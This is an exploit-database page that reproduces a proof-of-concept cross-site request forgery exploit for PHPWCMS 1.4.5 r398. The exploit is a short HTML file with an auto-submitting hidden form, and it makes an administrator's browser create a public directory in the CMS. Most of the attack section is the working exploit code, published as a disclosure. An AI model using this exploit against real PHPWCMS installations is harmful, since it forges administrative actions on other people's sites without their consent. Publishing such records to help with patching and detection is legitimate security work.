Lucene search
K

PHPWCMS 1.4.5 r398 Cross Site Request Forgery Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

PHPWCMS 1.4.5 r398 Cross Site Request Forgery Vulerabilit

Code

                                                <?php
	/*
		Exploit Title: PHPWCMS Cross-Site Request Forgery Vulnerability
		Date: 06/16/2010
		Author: Jeremiah Talamantes
		Software Link: http://phpwcms.googlecode.com/files/phpwcms_r398.zip
		Version: 1.4.5 r398
		Tested on: WinXP SP2 (EN) on WAMP 2.0
		CVE: N/A
		
		Jeremiah Talamantes
		RedTeam Security (RedTeam Labs)
		http://www.redteamsecure.com/labs
		
		Description:
		A vulnerability has been identified in PHPWCMS, which could be exploited to conduct cross-site request forgery attacks.
		This issue is caused due to input validation errors in the administrative interface when processing HTTP requests, 
		which could be exploited by attackers to manipulate certain data by tricking an administrator into visiting a malicious web page.
	*/
?>
<html>
<head>
	<title>PHPWCMS 1.4.5 r389 Cross Site Request Forgery</title>
	<script type="text/javascript">
		function myfunc () {
			var frm = document.getElementById("csrf");
			frm.submit();
		}
		window.onload = myfunc;
	</script>
</head>
<body>
	<!-- Modify the form action parameter to suit your installation -->
	<form id="csrf" name="csrf" method="POST" action="http://localhost/phpwcms/phpwcms.php?do=files&f=0">
		<input type="hidden" name="dir_newname" value="Game Over!" />
		<input type="hidden" name="dir_gallery" value="0" />
		<input type="hidden" name="dir_sort" value="0" />
		<input type="hidden" name="dir_aktiv" value="1" />
		<input type="hidden" name="dir_public" value="1" />
		<input type="hidden" name="dir_pid" value="0" />
		<input type="hidden" name="dir_aktion" value="1" />
	</form>
</body>
</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation